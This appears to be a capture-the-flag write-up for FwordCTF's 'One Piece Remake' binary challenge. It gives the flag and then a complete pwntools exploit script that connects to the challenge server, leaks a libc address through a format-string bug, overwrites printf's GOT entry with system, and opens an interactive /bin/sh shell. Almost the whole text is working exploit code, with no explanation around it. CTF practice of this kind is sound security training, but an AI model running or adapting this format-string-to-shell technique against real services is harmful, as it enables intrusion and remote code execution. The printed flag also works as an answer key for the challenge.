One Piece Remake
Flag: FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}
from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(data)
output = p.recvline()
p.recvuntil(b">>")
return output
def write_fmt(data):
proc = getproc()
proc.recvuntil(b">>")
proc.sendline("gomugomunomi")
proc.recvuntil(b">>")
proc.send(data)
output = proc.recvline()
proc.close()
return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive()Last updated
Was this helpful?